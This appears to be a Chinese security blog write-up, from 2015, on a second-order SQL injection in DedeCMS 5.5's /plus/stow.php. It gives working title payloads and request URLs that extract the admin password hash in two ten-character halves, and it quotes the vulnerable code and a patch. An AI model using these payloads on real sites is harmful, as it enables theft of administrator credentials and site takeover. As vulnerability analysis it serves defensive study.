dedecms /plus/stow.php Twice SQL Injection
2015-05-19 15:07
246 查看
catalog
1. 漏洞描述
收藏文章功能$title变量未过滤,造成二次注入
[b][b][b][b][b][b][b][b]Relevant Link:[/b][/b][/b][/b][/b][/b][/b][/b]
2. 漏洞触发条件
0x1: 发布一个特殊构造标题的文章
0x2: 提交收藏请求
0x3: 发起刚才发布的文章的"推荐"请求
0x4: 注入后10位
[b][b][b][b][b][b][b][b]Relevant Link:[/b][/b][/b][/b][/b][/b][/b][/b]
3. 漏洞影响范围
4. 漏洞代码分析
/plus/stow.php
[b][b][b][b][b][b][b][b]Relevant Link:[/b][/b][/b][/b][/b][/b][/b][/b]
5. 防御方法
6. 攻防思考
[b][b][b][b][b][b][b][b][b][b][b][b][b]Copyright (c) 2015 LittleHann All rights reserved[/b][/b][/b][/b][/b][/b][/b][/b][/b][/b][/b][/b][/b]
1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考
1. 漏洞描述
收藏文章功能$title变量未过滤,造成二次注入
[b][b][b][b][b][b][b][b]Relevant Link:[/b][/b][/b][/b][/b][/b][/b][/b]
http://www.wooyun.org/bugs/wooyun-2013-046375
2. 漏洞触发条件
0x1: 发布一个特殊构造标题的文章
http://127.0.0.1/dedecms5.5/member/content_list.php?channelid=1 //文章标题如下,目的是额外注入了一条可以查询出管理员密码的SQL语句 u',char(@`'`), (select pwd from dede_admin))#
0x2: 提交收藏请求
获取刚才发布文章的aid。例如aid=108,针对这篇文章发起收藏请求 http://localhost/dedecms5.5/plus/stow.php?aid=108&type=001
0x3: 发起刚才发布的文章的"推荐"请求
http://localhost/dedecms5.5/member/mystow.php //点击刚才发布的文章的"推荐"链接,打开如下连接 http://localhost/dedecms5.5/plus/recommend.php?type=29a53fb3c3&aid=108 //其中type=29a53fb3c3的"29a53fb3c3"为向dede_admin.pwd字段的前10位,这个时候二次注入就已经发生了
0x4: 注入后10位
后10位使用类似的步骤,不同的是发布的文章标题为 u',char(@`'`),substring((select pwd from dede_admin),11))#
[b][b][b][b][b][b][b][b]Relevant Link:[/b][/b][/b][/b][/b][/b][/b][/b]
http://www.wooyun.org/bugs/wooyun-2013-046375
3. 漏洞影响范围
4. 漏洞代码分析
/plus/stow.php
.. $row = $dsql->GetOne("Select * From `#@__member_stow` where aid='$aid' And mid='{$ml->M_ID}' "); if(!is_array($row)) { //这里的TITLE是从数据库里查询出来的,也就是我们发布的文章的标题 $dsql->ExecuteNoneQuery(" INSERT INTO `#@__member_stow`(mid,aid,title,addtime) VALUES ('".$ml->M_ID."','$aid','".$title."','$addtime'); "); } ..
[b][b][b][b][b][b][b][b]Relevant Link:[/b][/b][/b][/b][/b][/b][/b][/b]
http://www.wooyun.org/bugs/wooyun-2014-048913
5. 防御方法
/*增加SQL注入过滤*/ $title = HtmlReplace($title,1); $aid = intval($aid); /* */ $row = $dsql->GetOne("Select * From `#@__member_stow` where aid='$aid' And mid='{$ml->M_ID}' "); if(!is_array($row)) { //addslashes($arctitle) $dsql->ExecuteNoneQuery(" INSERT INTO `#@__member_stow`(mid,aid,title,addtime) VALUES ('".$ml->M_ID."','$aid','".addslashes($arctitle)."','$addtime'); "); }
6. 攻防思考
[b][b][b][b][b][b][b][b][b][b][b][b][b]Copyright (c) 2015 LittleHann All rights reserved[/b][/b][/b][/b][/b][/b][/b][/b][/b][/b][/b][/b][/b]
相关文章推荐
- dedecms /plus/search.php SQL Injection && Local Variable Overriding
- dedecms /plus/search.php SQL Injection && Local Variable Overriding
- dedecms \plus\guestbook.php SQL Injection Vul By \plus\guestbook\edit.inc.php
- dedeCMS /data/mysql_error_trace.php DB error raised PHP Code Injection Via /include/dedesql.class.php Log FIle Without Access Validation
- dedeCMS /plus/ad_js.php、/plus/mytag_js.php Vul Via Injecting PHP Code By /plus/download.php Into DB && /include/dedesql.class.php
- dedecms /include/uploadsafe.inc.php SQL Injection Via Local Variable Overriding Vul
- dedecms /include/helpers/archive.helper.php SQL Injection Vul
- dedecms中在/plus/view.php中获得文章的静态地址
- ecshop /pick_out.php SQL Injection Vul By Local Variable Overriding
- What’s the Right Way to Prevent SQL Injection in PHP Scripts?
- duxcms SQL Injection In /admin/module/loginMod.class.php
- dedecms5.7最新sql注射漏洞利用 guestbook.php
- Mongodb is vulnerable to SQL injection in PHP at least
- dedecms cookies泄漏导致SQL漏洞 article_add.php 的解决方法
- QIBO CMS SQL Injection Via Variable Uninitialization In \member\special.php
- [通杀]dedecms plus/search.php 注入漏洞利用EXP
- Web_PHP_DedeCMS_{dede:sql}标签用法;
- 织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
- DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
- ESPCMS /adminsoft/control/citylist.php Int SQLInjection Vul